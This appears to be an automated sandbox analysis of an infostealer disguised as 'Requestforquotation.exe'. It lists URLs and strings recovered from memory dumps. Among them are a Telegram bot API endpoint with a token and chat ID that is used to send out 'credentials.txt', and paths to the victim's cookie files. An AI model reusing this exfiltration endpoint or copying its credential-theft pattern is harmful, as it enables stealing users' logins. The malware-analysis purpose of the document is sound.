"http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.mom/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/ut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6http/1.1" - Source: "00000000-00003916.00000002.71036.0080D000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meowsdbgmeqwqjajbgurdgmcgguabbs2ca1fbgt26xpkokx4zguoujm0tgquqmk9j47mnimwojpx%2b2yz8lqsgm4ccqckyg4%2brksipg%3d%3dusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplates--3fbd04f5-b1ed-4060-99b9-fca7ff59c113content-disposition:" - Source: "00000000-00003916.00000002.71036.0085B000.00000004.mdmp") Found URL "https://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474" - Source: "00000000-00003916.00000002.71036.0085B000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdroot.crlregistry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classesotrustpi.telegram.orgwww.api.telegram.org" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s95.crl0" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://cert(ccom/repository/1301*go" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://crlom/gdroot-g2.crl0f?0=0;0301%https://certs.godadxcository/0" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdroot.crl0f?0=0;%https://certs.g/repository/0" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org0qhyfqv=(" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000002.71036.00883000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meiwqda%2bmdwwojajbgurdgmcgguabbqdi2%2bobkuxh93foruj4a7lar4rgwquopqfbxbnklbv9r0fq94caqc%3d" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdig2s1-5395.crl:\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\4xd8w14a.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\z31d82mk.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\4egb3v4h.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\b038qla8.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\sz6e3ufc.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\586vp2iu.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\aykc4xf0.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\kk660gx2.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\b0gjxil8.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\q131x7o7.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\pyer2p4t.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\tk1ox1f3.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\b5zj32w3.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\ca2uokma.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\ahv4qfiv.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\ltpx41vg.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\1d3gunwo.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\h9g0iq8b.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\incdjhca.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\h8xwsv0w.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\zmzdj8xq.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\syowx991.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\fak1ewiv.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\3t7osxru.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\x43exfn4.txt\users\hgnajmh\appdata\roaming\microsoft\windows\templates\credentials.txtocsp:http://ocsp.godaddy.com/http://crl.godaddy.com/gdig2s1-5395.crl\users\hgnajmh\appdata\roaming\microsoft\windows\templates\credentials.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\iz4ibgap.txt\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\qgvg79k3.txt:\users\hgnajmh\appdata\roaming\microsoft\windows\cookies\v27ou2vf.txt-99b9-fca7ff59tps://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhhttp://ocsp.godaddy.com//meiwqda%2bmdwwojajbgurdgmcgguabbqdi2%2bobkuxh93foruj4a7lar4rgwquopqfbxbnklbv9r0fqw4gwztad94caqc%3drpc-6f2dfa59fc992017e3rpc-6f2dfa59fc992017e3etwork" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdroot.crlhttp://crl.godaddy.com/gdroot-g2.crl\users\hgnajmh\appdata\roaming\microsoft\windows\templates\users\hgnajmh\appdata\roaming\microsoft\windows\templates\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\\users\hapubws\appdata\locallow\microsoft\cryptneturlcache\local" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/2.5.4.3go" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000003.77680.0028F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/oftware\microsoft\windows\currentversion\internet" - Source: "00000000-00003916.00000003.77680.002FC000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crleusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesbout:blankbout:blankummy://urlpmapperpmapperpmapperpmapperdvapi32pmapperpmapperpmappernsresolverhcpcsvc6igicertpmapperwshom.ocxscrrun.dllversion.dllmpr.dllcryptsp.dllmsxml3.dllmsxml6.dllmsxml3.dllnpmproxy.dllnetprofm.dllnlaapi.dllmlang.dllscrrun.dll2.5.29.10lmems,v(lmemlmemlmemw,v@lmemlmems_ue5_ue/nom/" - Source: "00000000-00003916.00000003.77680.002FC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meqwqjbamd4wpdajbgurdgmcgguabbtkiinkbazxkf0qh0pel3lfhj9gpaqu0ssw0phutbfxs2hlpah%2b3ahq1omcaxvnfq%3d%3dmicrosofteotrustpmapperigicert" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/le26cfb3f28bcd45d0a93667225e3dwindows" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0f?0=0;0301%https://certs.godaddy.com/repository/0" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig20907+http://certificates.godaddy.com/repository/0csp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org0nonicsv" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://g.symcd.com0e0c0a60301%http://www.geotrust.com/resources/cps06/0-0+%http://g.symcb.com/geotrustpca-g3.crl0symantecpki-1-697033ti^l" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc0?1$0" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://isrg.trustid.ocsp.identrust.com0;/http://apps.identrust.com/roots/dstrootcax3.p7c0m0k0000." - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://cps.root-x1.letsencrypt.org0<50301+http://crl.identrust.com/dstrootcax3crl.crl0ig'" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0http/1.1" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0ftiu" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1english1sea" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://secure.comodo.com/cps0" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com05addons.mozilla.orgwww.addons.mozilla.org0zsb)j9e/www*9ckxsalt" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0%www.google.comgoogle.com0io]l,e9n0p1+0)" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.public-trust.com/cps/omniroot.html0w0u1gte" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0dmxt*j]+xijom5o2$h.cota0703" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://ocsp.entrust.net03,0*0(" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.11c)d[b" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0w0u1staat" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl0]ko)tsz'" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.diginotar.nl/cps/pkioverheid0\0z1staat" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domorganisatielatestcrl-g2.crl0^tl*" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.skype.comwww.login.skype.com0w6v*gte" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://cybertrust.omniroot.com/repository.cfm0w0u1gte" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0j)z" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-hardware0110315000000z140314235959z0384771florida1tampa1sea" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0global" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/login.yahoo.comwww.login.yahoo.com0yvr,verisign" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://www.verisign.com/repository/cpsthis" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://www.verisign.com;" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0x7y1;8kb%2+josalt" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0/mail.google.comwww.mail.google.com0?=*k!\yro2;nmicrosoft" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0v7.1ctj7f$\_)$bf!cial" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://www.verisign.com/repository/verisignlogo.gif0d=0;090*0(https://www.verisign.com/rpa0f$\_)$bf!ki0!!salt" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0kw(=n" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.entrust.net/server1.crl0;8kbv7.1q7z?," - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://ocsp.entrust.net0d=0;09000." - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.digicert.com.my/cps.htm02+0)0'!http://crl.entrust.net/2048ca.crl09yk3y!gte" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0\0" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.pkioverheid.nl/domovlatestcrl.crl00ev" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://www.public-trust.com/cgi-bin/crl/2018/cdp.crl0or" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0-login.live.comwww.login.live.com0nwk1uy1un:9*cosalt" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.comodoca.com/utn-userfirst-hardware.crl060http://crl.comodo.net/utn-userfirst-hardware.crl0qe0c0;/http://crt.comodoca.com/utnaddtrustserverca.crt0$http://ocsp.comodoca.com0login.yahoo.com0xkc9washington1redmond1microsoft" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0>ej-+\lu>gvpob\hzagxr" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszys0" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnk't" - Source: "00000000-00003916.00000003.77680.0030F000.00000004.mdmp") Found URL "https://api.telegram.org/bot/senddocument?chat_id=&caption=msxml2.serverxmlhttp.6.0/sendmessagetext=&chat_id=postopencontent-typesetrequestheadercontent-lengthsend3fbd04f5-b1ed-4060-99b9-fca7ff59c113content-disposition:" - Source: "00000000-00003916.00000003.77680.00400000.00000040.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000003.77680.007D9000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0f?0=0;0301%https://certs.godaddy.com/repository/0" - Source: "00000000-00003916.00000003.77680.007D9000.00000004.mdmp") Found URL "https://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhbot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474&caption=credentials.txt:::zvc3lsvukq\hgnajmhindows\system32\sspicli.dlle5e1d522649?\c:\windows\satap.scl3.dcrgusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesrprofile%\appdata\roaming\microsoft\windows\cookiesgssapiml" - Source: "00000000-00003916.00000003.77680.007E0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000003.77680.007E0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/ccept-encoding:" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/s-1-5-21-2092356043-4041700817-663127204-1001&8z8zusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplatesl3.dcmicrosoft" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdroot-g2.crlarizonascottsdalegodaddy.com," - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/go" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/02+0)0'!http://crl.godaddy.com/gdroot.crl0f?0=0;0301%https://certs.godaddy.com/repository/0" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=us1!0the" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6\4[=/c:\usershgnajmh" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.mom/pki/certs/miccerlisca2011_2011-03-29.crt0>^" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/ut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0^ziq$(c\a6http/1.1" - Source: "00000000-00003916.00000003.77680.007EC000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000003.77680.0084C000.00000004.mdmp") Found URL "http://ocsp.godaddy.com//meowsdbgmeqwqjajbgurdgmcgguabbs2ca1fbgt26xpkokx4zguoujm0tgquqmk9j47mnimwojpx%2b2yz8lqsgm4ccqckyg4%2brksipg%3d%3dusers@shell32.dll,-21813hgnajmhappdataroamingmicrosoftwindowstemplates--3fbd04f5-b1ed-4060-99b9-fca7ff59c113content-disposition:" - Source: "00000000-00003916.00000003.77680.0085B000.00000004.mdmp") Found URL "https://api.telegram.org/bot5450700540:aaejyeev8bkgyukmncpzxp19kd9gvsrup5m/senddocument?chat_id=5422342474" - Source: "00000000-00003916.00000003.77680.00861000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/http://crl.godaddy.com/gdroot.crlregistry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classesotrustpi.telegram.orgwww.api.telegram.org" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s95.crl0" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org06\(w0qhyfqv=(" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://cert(ccom/repository/1301*go" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://crlom/gdroot-g2.crl0f?0=0;0301%https://certs.godadxcository/0" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdroot.crl0f?0=0;%https://certs.g/repository/0" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://crl.godaddy.com/gdig2s1-5395.crl0]v0t0h0907+http://certificates.godaddy.com/repository/0j0h0$http://ocsp.godaddy.com/0@4http://certificates.godaddy.com/repository/gdig2.crt0api.telegram.orgwww.api.telegram.org0qhyfqv=(" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003916.00000003.77680.00883000.00000004.mdmp")46:T5b8,Contains base62 string in header "MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkI" in header "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base62 string in header "InKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0p" in header "GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base62 string in header "2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBx" in header "GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base62 string in header "MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2C" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com" Contains base62 string in header "A1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J4" in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.godaddy.com"47:T434,"Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "234949528" "cx": "1" "cy": "1"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "335610443" "cx": "1" "cy": "1"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "151062620" "cx": "32" "cy": "32"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "151062620" "cx": "16" "cy": "16"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "151062620" "cx": "1" "cy": "1"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "302058491" "cx": "16" "cy": "16"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "151062620" "cx": "526" "cy": "30"} "Requestforquotation.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1224804787" "cx": "361" "cy": "361"} "Requestforquotation.exe" called 